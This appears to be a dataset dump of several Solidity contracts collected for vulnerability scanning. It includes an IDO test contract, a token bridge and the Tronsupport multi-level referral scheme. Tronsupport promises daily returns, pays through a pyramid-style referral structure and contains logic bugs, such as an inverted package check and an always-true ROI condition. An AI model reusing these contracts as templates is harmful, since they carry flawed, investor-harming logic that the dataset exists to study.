if (x.w(_address, i) < x.d(_address, i) * 2) {
_sum += x.d(_address, i);
}
}
Invested = _sum;
}
function getDepositN(address _address, uint _number) public view returns(uint Deposit_N) {
if (x.w(_address, _number - 1) < x.d(_address, _number - 1) * 2) {
Deposit_N = x.d(_address, _number - 1);
} else {
Deposit_N = 0;
}
}
function getDividends(address _address) public view returns(uint Dividends) {
uint _payout;
uint _multiplier;
if (block.timestamp > x.c(_address) + 2 days) {
_multiplier = 1;
}
for (uint i = 0; i <= x.ind(_address); i++) {
if (x.w(_address, i) < x.d(_address, i) * 2) {
if (x.s(_address, i) <= x.c(_address)) {
uint dividends = (x.d(_address, i).mul(_multiplier.mul(15).add(x.i(_address, i))).div(1000)).mul(block.timestamp.sub(x.c(_address).add(_multiplier.mul(2 days)))).div(1 days);
dividends += (x.d(_address, i).mul(x.i(_address, i)).div(1000).mul(_multiplier).mul(2));
if (x.w(_address, i) + dividends <= x.d(_address, i) * 2) {
_payout = _payout.add(dividends);
} else {
_payout = _payout.add((x.d(_address, i).mul(2)).sub(x.w(_address, i)));
}
} else {
if (x.s(_address, i) + 2 days >= block.timestamp) {
dividends = (x.d(_address, i).mul(_multiplier.mul(15).add(x.i(_address, i))).div(1000)).mul(block.timestamp.sub(x.s(_address, i).add(_multiplier.mul(2 days)))).div(1 days);
dividends += (x.d(_address, i).mul(x.i(_address, i)).div(1000).mul(_multiplier).mul(2));
if (x.w(_address, i) + dividends <= x.d(_address, i) * 2) {
_payout = _payout.add(dividends);
} else {
_payout = _payout.add((x.d(_address, i).mul(2)).sub(x.w(_address, i)));
}
} else {
dividends = (x.d(_address, i).mul(x.i(_address, i)).div(1000)).mul(block.timestamp.sub(x.s(_address, i))).div(1 days);
_payout = _payout.add(dividends);
}
}
}
}
Dividends = _payout * 17 / 20;
}
function getWithdrawals(address _address) external view returns(uint) {
uint _sum;
for (uint i = 0; i <= x.ind(_address); i++) {
_sum += x.w(_address, i);
}
return(_sum);
}
function getTop() external view returns(address, address, address, address, address) {
return(top[top.length - 1], top[top.length - 2], top[top.length - 3], top[top.length - 4], top[top.length - 5]);
}
function getJackPot() external view returns(uint) {
return(jackPot);
}
function getNextPayDay() external view returns(uint) {
return(lastLeader + 1 days);
}
}
| 191,643 | 13,521 |
3e911b82e0994425f8b0e47ff5796974b3adbd6f2d20d0c188549e013e5abe8c
| 15,878 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/IDOTest-0x695f473ca7d3597d975369d4559e49c27869c084.sol
| 3,701 | 12,123 |
pragma solidity = 0.5.16;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "YouSwap: CALLER_IS_NOT_THE_OWNER");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "YouSwap: NEW_OWNER_IS_THE_ZERO_ADDRESS");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract IDOTest is Ownable {
using SafeMath for uint256;
//Private offering
mapping(address => uint256) private _ordersOfPriIDO;
uint256 public startHeightOfPriIDO;
uint256 public endHeightOfPriIDO;
uint256 public totalUsdtAmountOfPriIDO = 0;
uint256 public supplyYouForPriIDO = 15 * 10 ** 8;//1500YOU
uint256 public reservedYouOfPriIDO = 0;
uint256 public constant upperLimitUsdtOfPriIDO = 50 * 10 ** 6;//50USDT
bool public priOfferingFinished = false;
bool private _priIDOWithdrawFinished = false;
event PrivateOffering(address indexed participant, uint256 amountOfYou, uint256 amountOfUsdt);
event PrivateOfferingClaimed(address indexed participant, uint256 amountOfYou);
//Public offering
mapping(address => uint256) private _ordersOfPubIDO;
uint256 public targetUsdtAmountOfPubIDO = 150 * 10 ** 6;//150USDT
uint256 public targetYouAmountOfPubIDO = 15 * 10 ** 8;//1500YOU
uint256 public totalUsdtAmountOfPubIDO = 0;
uint256 public startHeightOfPubIDO;
uint256 public endHeightOfPubIDO;
uint256 public constant bottomLimitUsdtOfPubIDO = 10 * 10 ** 6; //10USDT
bool private _pubIDOWithdrawFinished = false;
event PublicOffering(address indexed participant, uint256 amountOfUsdt);
event PublicOfferingClaimed(address indexed participant, uint256 amountOfYou);
event PublicOfferingRefund(address indexed participant, uint256 amountOfUsdt);
mapping(address => uint8) private _whiteList;
address private constant _usdtToken = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
address private _youToken;
uint256 public constant initialLiquidYou = 3 * 10 ** 12;//3 000 000YOU For initial Liquid
address private constant _vault = 0x6B5C21a770dA1621BB28C9a2b6F282E5FC9154d5;
constructor(address youToken) public {
_youToken = youToken;
startHeightOfPriIDO = 12043919;
endHeightOfPriIDO = 12045359;
startHeightOfPubIDO = 12061199;
endHeightOfPubIDO = 12062639;
}
//FOR TEST
function startPri() onlyOwner public {
startHeightOfPriIDO = block.number;
endHeightOfPriIDO = block.number + 30;
}
function startPub() onlyOwner public {
startHeightOfPubIDO = block.number;
endHeightOfPubIDO = block.number + 30;
}
//
function initPriIDO(uint256 startHOfPriIDO, uint256 endHOfPriIDO) onlyOwner public {
require(block.number.add(60) < startHeightOfPriIDO, 'YouSwap:TOO_LATE_TO_DO_THIS');
if (block.number.add(60) < startHeightOfPriIDO) {
startHeightOfPriIDO = startHOfPriIDO;
endHeightOfPriIDO = endHOfPriIDO;
require(startHeightOfPriIDO.add(30) < endHeightOfPriIDO, 'YouSwap:INVALID_PARAMETERS_FOR_PRI_IDO');
}
}
function initPubIDO(uint256 startHOfPubIDO, uint256 endHOfPubIDO) onlyOwner public {
require(block.number.add(60) < startHeightOfPubIDO, 'YouSwap:TOO_LATE_TO_DO_THIS');
if (block.number.add(60) < startHeightOfPubIDO) {
startHeightOfPubIDO = startHOfPubIDO;
endHeightOfPubIDO = endHOfPubIDO;
require(startHeightOfPubIDO.add(30) < endHeightOfPubIDO, 'YouSwap:INVALID_PARAMETERS_FOR_PUB_IDO');
}
}
modifier inWhiteList() {
require(_whiteList[msg.sender] == 1, "YouSwap: NOT_IN_WHITE_LIST");
_;
}
function isInWhiteList(address account) external view returns (bool) {
return _whiteList[account] == 1;
}
function addToWhiteList(address account) external onlyOwner {
_whiteList[account] = 1;
}
function addBatchToWhiteList(address[] calldata accounts) external onlyOwner {
for(uint i=0;i<accounts.length;i++) {
_whiteList[accounts[i]] = 1;
}
}
function removeFromWhiteList(address account) external onlyOwner {
_whiteList[account] = 0;
}
function claim() inWhiteList external {
require((block.number >= endHeightOfPriIDO && _ordersOfPriIDO[msg.sender] > 0)
|| (block.number >= endHeightOfPubIDO && _ordersOfPubIDO[msg.sender] > 0), 'YouSwap: FORBIDDEN');
uint256 reservedYouFromPriIDO = _ordersOfPriIDO[msg.sender];
if (block.number >= endHeightOfPriIDO && reservedYouFromPriIDO > 0) {
_mintYou(_youToken, reservedYouFromPriIDO);
emit PrivateOfferingClaimed(msg.sender, reservedYouFromPriIDO);
_ordersOfPriIDO[msg.sender] = 0;
}
uint256 amountOfUsdtPayed = _ordersOfPubIDO[msg.sender];
if (block.number >= endHeightOfPubIDO && amountOfUsdtPayed > 0) {
uint256 reservedYouFromPubIDO = 0;
if (totalUsdtAmountOfPubIDO > targetUsdtAmountOfPubIDO) {
uint256 availableAmountOfUsdt = amountOfUsdtPayed.mul(targetUsdtAmountOfPubIDO).div(totalUsdtAmountOfPubIDO);
reservedYouFromPubIDO = availableAmountOfUsdt.mul(10);
uint256 usdtAmountToRefund = amountOfUsdtPayed.sub(availableAmountOfUsdt);
if (usdtAmountToRefund > 0) {
_transfer(_usdtToken, msg.sender, usdtAmountToRefund);
emit PublicOfferingRefund(msg.sender,usdtAmountToRefund);
}
}
else {
reservedYouFromPubIDO = amountOfUsdtPayed.mul(10);
}
_mintYou(_youToken, reservedYouFromPubIDO);
emit PublicOfferingClaimed(msg.sender, reservedYouFromPubIDO);
_ordersOfPubIDO[msg.sender] = 0;
}
}
function withdrawPriIDO() onlyOwner external {
require(block.number > endHeightOfPriIDO, 'YouSwap: BLOCK_HEIGHT_NOT_REACHED');
require(!_priIDOWithdrawFinished, 'YouSwap: PRI_IDO_WITHDRAWN_ALREADY');
_transfer(_usdtToken, _vault, totalUsdtAmountOfPriIDO);
_priIDOWithdrawFinished = true;
}
function withdrawPubIDO() onlyOwner external {
require(block.number > endHeightOfPubIDO, 'YouSwap: BLOCK_HEIGHT_NOT_REACHED');
require(!_pubIDOWithdrawFinished, 'YouSwap: PUB_IDO_WITHDRAWN_ALREADY');
uint256 amountToWithdraw = totalUsdtAmountOfPubIDO;
if (totalUsdtAmountOfPubIDO > targetUsdtAmountOfPubIDO) {
amountToWithdraw = targetUsdtAmountOfPubIDO;
}
_transfer(_usdtToken, _vault, amountToWithdraw);
_transfer(_youToken, _vault, initialLiquidYou);
}
function privateOffering(uint256 amountOfUsdt) inWhiteList external returns (bool) {
require(block.number >= startHeightOfPriIDO, 'YouSwap:NOT_STARTED_YET');
require(!priOfferingFinished && block.number <= endHeightOfPriIDO, 'YouSwap:PRIVATE_OFFERING_ALREADY_FINISHED');
require(_ordersOfPriIDO[msg.sender] == 0, 'YouSwap: ATTENDED_ALREADY');
require(amountOfUsdt <= upperLimitUsdtOfPriIDO, 'YouSwap: EXCEED_THE_UPPER_LIMIT');
require(reservedYouOfPriIDO < supplyYouForPriIDO, 'YouSwap:INSUFFICIENT_YOU');
uint256 amountOfYou = amountOfUsdt.mul(10);
//0.1USDT/YOU
if (reservedYouOfPriIDO.add(amountOfYou) > supplyYouForPriIDO) {
amountOfYou = supplyYouForPriIDO.sub(reservedYouOfPriIDO);
amountOfUsdt = amountOfYou.div(10);
priOfferingFinished = true;
}
_transferFrom(_usdtToken, amountOfUsdt);
_ordersOfPriIDO[msg.sender] = amountOfYou;
reservedYouOfPriIDO = reservedYouOfPriIDO.add(amountOfYou);
totalUsdtAmountOfPriIDO = totalUsdtAmountOfPriIDO.add(amountOfUsdt);
emit PrivateOffering(msg.sender, amountOfYou, amountOfUsdt);
return true;
}
function pubOfferingFinished() public view returns (bool) {
return block.number > endHeightOfPubIDO;
}
function publicOffering(uint256 amountOfUsdt) external returns (bool) {
require(block.number >= startHeightOfPubIDO, 'YouSwap:PUBLIC_OFFERING_NOT_STARTED_YET');
require(block.number <= endHeightOfPubIDO, 'YouSwap:PUBLIC_OFFERING_ALREADY_FINISHED');
require(amountOfUsdt >= bottomLimitUsdtOfPubIDO, 'YouSwap: 100USDT_AT_LEAST');
_transferFrom(_usdtToken, amountOfUsdt);
_ordersOfPubIDO[msg.sender] = _ordersOfPubIDO[msg.sender].add(amountOfUsdt);
totalUsdtAmountOfPubIDO = totalUsdtAmountOfPubIDO.add(amountOfUsdt);
emit PublicOffering(msg.sender, amountOfUsdt);
_whiteList[msg.sender] = 1;
return true;
}
function _transferFrom(address token, uint256 amount) private {
bytes4 methodId = bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(methodId, msg.sender, address(this), amount));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'YouSwap: TRANSFER_FAILED');
}
function _mintYou(address token, uint256 amount) private {
bytes4 methodId = bytes4(keccak256(bytes('mint(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(methodId, msg.sender, amount));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'YouSwap: TRANSFER_FAILED');
}
function _transfer(address token, address recipient, uint amount) private {
bytes4 methodId = bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(methodId, recipient, amount));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'YouSwap: TRANSFER_FAILED');
}
}
| 177,461 | 13,522 |
30f3765c00d3fa0afe3bc6222caa17338d7568d859b7e18e42defd8974e37f3d
| 28,137 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TC/TCL995LptUeKfyG6t78RaFKVrPefkHJdi2_XBXBridge.sol
| 3,156 | 12,155 |
//SourceUnit: EthTron.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
//
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract ERC20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor() public {
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual{
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract XBXBridge{
uint256 minAmount = 10 ** 2 * 10 ** 18;
ERC20 erc20;
address public ownerAddress;
event _transferEthTronXBX(address account, uint256 amount);
event _transferTronEthXBX(address account, uint256 amount);
event _transferToUser(address account, uint256 amount);
constructor(ERC20 _erc20) public {
erc20 = _erc20;
ownerAddress = msg.sender;
}
modifier onlyOwner() {
require(ownerAddress == msg.sender, 'Ownable: caller is not the owner');
_;
}
function transferEthTronXBX(uint256 amount) payable public {
require(amount > 0, "Can not transfer zero amount");
require(amount >= minAmount, "Invalid tranfer amount");
payable(ownerAddress).transfer(address(this).balance); // send fee to owner
erc20.transferFrom(msg.sender, address(this), amount);
emit _transferEthTronXBX(msg.sender, amount);
}
function transferTronEthXBX(uint256 amount) payable public {
require(amount > 0, "Can not transfer zero amount");
require(amount >= minAmount, "Invalid tranfer amount");
payable(ownerAddress).transfer(address(this).balance); // send fee to owner
erc20.transferFrom(msg.sender, address(this), amount);
emit _transferTronEthXBX(msg.sender, amount);
}
function transferToUser(address account, uint256 amount) public onlyOwner{
erc20.transfer(account, amount);
emit _transferToUser(account, amount);
}
function transferOwnership(address newOwner) public onlyOwner{
ownerAddress = newOwner;
}
}
| 304,293 | 13,523 |
69b8bc557b4794e037784ed9cc01d545dbea3f35dc79b4ada9041f39caeff542
| 19,552 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TB/TBFse4tkDczSrBt3hKwsEzUpbMBkEySjpZ_Tronsupport.sol
| 5,419 | 18,052 |
//SourceUnit: tronsupport.sol
pragma solidity 0.5.10;
contract Tronsupport {
struct User {
uint256 cycle;
address upline;
uint256 referrals;
uint256 payouts;
uint256 direct_bonus;
uint256 pool_bonus;
uint256 match_bonus;
uint256 deposit_amount;
uint256 deposit_payouts;
uint40 deposit_time;
uint256 DROI;
uint256 DLimit;
uint256 totaldirectbonus;
uint256 boosterlevel;
}
struct usertots
{
uint256 total_deposits;
uint256 total_payouts;
uint256 total_structure;
uint256 HrAmtreferrals;
uint256 HrAmtreferrals2;
uint256 HrAmtreferrals3;
uint256 total_PoolBonus;
uint256 total_DestinyBonus;
uint256 LvlIncD;
}
struct UsersROI {
uint40 ROI1ON;
uint40 ROI2ON;
uint40 ROI3ON;
uint40 ROI4ON;
uint40 ROI5ON;
}
address payable public owner;
mapping(address => User) public users;
mapping(address => UsersROI) public usersR;
mapping(address => usertots) public userTot;
uint[] cycles = [200,400,800,1600,3200,6400,12800,25600,51200,1024000];
uint256[] public ref_bonuses;
uint256[] public Daily_ROI;
uint8[] public pool_bonuses; // 1 => 1%
uint40 public pool_last_draw = uint40(block.timestamp);
uint256 public pool_cycle;
uint256 public pool_balance;
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum;
mapping(uint8 => address) public pool_top;
//destiny
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sumD;
mapping(uint256 =>mapping(uint8 => address)) public pool_topD;
uint256 public total_users = 1;
uint256 public total_deposited;
uint256 public total_withdraw;
event Upline(address indexed addr, address indexed upline);
event NewDeposit(address indexed addr, uint256 amount);
event DirectPayout(address indexed addr, address indexed from, uint256 amount);
event MatchPayout(address indexed addr, address indexed from, uint256 amount,uint256 LvlNo, uint256 Refs);
event MissedLevelPayout(address indexed addr, address indexed from, uint256 amount,uint256 LvlNo, uint256 Refs);
event PoolPayout(address indexed addr, uint256 amount);
event DestinyPayout(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event WithdrawROIU(address indexed addr, uint256 amount);
event LimitReached(address indexed addr, uint256 amount);
event ownershipTransferred(address indexed previousOwner, address indexed newOwner);
event DailyROIper(address indexed addr,uint256 indexed R1,uint256 indexed R2, uint256 R3,uint256 R4, uint256 R5);
modifier onlyOwner() {
require(msg.sender == owner, "only Owner");
_;
}
constructor() public {
owner = msg.sender;
ref_bonuses.push(25);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(8);
ref_bonuses.push(8);
ref_bonuses.push(8);
ref_bonuses.push(8);
ref_bonuses.push(8);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(3);
ref_bonuses.push(3);
ref_bonuses.push(3);
ref_bonuses.push(3);
ref_bonuses.push(3);
pool_bonuses.push(40);
pool_bonuses.push(30);
pool_bonuses.push(20);
pool_bonuses.push(10);
}
function() payable external {
_deposit(msg.sender, msg.value);
}
function _setUpline(address _addr, address _upline) private {
if(users[_addr].upline == address(0) && _upline != _addr && _addr != owner && (users[_upline].deposit_time > 0 || _upline == owner)) {
users[_addr].upline = _upline;
users[_upline].referrals++;
emit Upline(_addr, _upline);
total_users++;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(_upline == address(0)) break;
userTot[_upline].total_structure++;
_upline = users[_upline].upline;
}
}
}
function _deposit(address _addr, uint256 _amount) private {
//
require(users[_addr].upline != address(0) || _addr == owner, "No upline");
//
if(users[_addr].deposit_time > 0) {
require(users[_addr].payouts >= users[_addr].DLimit, "Deposit already exists");
require(_amount >= users[_addr].deposit_amount, "Bad amount");
}
//
bool validpackage = false;
uint256 j = 0;
for (j = 0; j < 10; j++) { //for loop example
if(cycles[j] == msg.value){
validpackage = true;
}
}
require(validpackage == false, "Invalid Package");
//set roi
if(_amount < 1600){
users[_addr].DROI=1;
}
else if(_amount >= 1600 || _amount < 12800){
users[_addr].DROI=2;
}
else{
users[_addr].DROI=3;
}
users[_addr].payouts = 0;
users[_addr].deposit_amount = _amount;
users[_addr].deposit_payouts = 0;
users[_addr].deposit_time = uint40(block.timestamp);
users[_addr].boosterlevel=0;
//
userTot[_addr].total_deposits += _amount;
userTot[_addr].HrAmtreferrals=0;
userTot[_addr].HrAmtreferrals2=0;
userTot[_addr].LvlIncD=0;
//
uint256 upldepo=users[users[_addr].upline].deposit_amount;
//
if (_amount>=upldepo)
{
userTot[users[_addr].upline].HrAmtreferrals+=1;
}
//
address uplineaddress = users[_addr].upline;
if(users[uplineaddress].upline != address(0)) {
if(userTot[users[_addr].upline].HrAmtreferrals >= 2){
userTot[users[uplineaddress].upline].HrAmtreferrals2 +=1;
}
address uplineofupline = users[uplineaddress].upline;
if(userTot[users[uplineaddress].upline].HrAmtreferrals2 >= 2){
userTot[users[uplineofupline].upline].HrAmtreferrals3 +=1;
}
}
users[_addr].DLimit=users[_addr].deposit_amount*300/100;
usersR[_addr].ROI1ON=uint40(block.timestamp);
usersR[_addr].ROI2ON=0;
usersR[_addr].ROI3ON=0;
usersR[_addr].ROI4ON=0;
usersR[_addr].ROI5ON=0;
//
total_deposited += _amount;
// update Upline ROI
_updateUplineROI(_addr);
//
emit NewDeposit(_addr, _amount);
if(users[_addr].upline != address(0)) {
users[users[_addr].upline].direct_bonus += (_amount* 10)/100;
users[users[_addr].upline].totaldirectbonus += (_amount* 10)/100;
emit DirectPayout(users[_addr].upline, _addr, (_amount* 10)/100);
}
_pollDeposits(_addr, _amount);
if(pool_last_draw + 1 days < block.timestamp) {
_drawPool();
}
}
//
function _updateUplineROI(address _addr) private {
if (uint256(block.timestamp) <= users[users[_addr].upline].deposit_time + 7 * 1 days) {
if(userTot[users[_addr].upline].HrAmtreferrals >= 2) {
if (users[users[_addr].upline].boosterlevel < 1)
{
users[users[_addr].upline].DROI +=1;
users[users[_addr].upline].boosterlevel = 1;
}
}
address uuplineaddress = users[_addr].upline;
if(userTot[users[uuplineaddress].upline].HrAmtreferrals2 >= 2) {
if (users[users[uuplineaddress].upline].boosterlevel < 2)
{
users[users[uuplineaddress].upline].DROI += 1;
users[users[uuplineaddress].upline].boosterlevel = 2;
}
}
if(uuplineaddress != address(0)){
address uuplineofupline = users[uuplineaddress].upline;
if(userTot[users[uuplineofupline].upline].HrAmtreferrals2 >= 2) {
if (users[users[uuplineofupline].upline].boosterlevel < 2)
{
users[users[uuplineofupline].upline].DROI += 1;
users[users[uuplineofupline].upline].boosterlevel = 3;
}
}
}
}
}
//
function _pollDeposits(address _addr, uint256 _amount) private {
pool_balance += (_amount * 5) / 100;
//address upline = users[_addr].upline;
if(_addr == address(0)) return;
pool_users_refs_deposits_sum[pool_cycle][_addr] += _amount;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == _addr) break;
if(pool_top[i] == address(0)) {
pool_top[i] = _addr;
//
break;
}
if(pool_users_refs_deposits_sum[pool_cycle][_addr] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) {
//Destiny
pool_users_refs_deposits_sumD[pool_cycle][_addr] = _amount;
pool_topD[pool_cycle][0] = _addr;
//
for(uint8 j = i + 1; j < pool_bonuses.length; j++) {
if(pool_top[j] == _addr) {
for(uint8 k = j; k <= pool_bonuses.length; k++) {
pool_top[k] = pool_top[k + 1];
}
break;
}
}
for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) {
pool_top[j] = pool_top[j - 1];
}
pool_top[i] = _addr;
break;
}
}
}
//
function _refPayout(address _addr, uint256 _amount) private {
address up = users[_addr].upline;
uint256 r1 = 0;
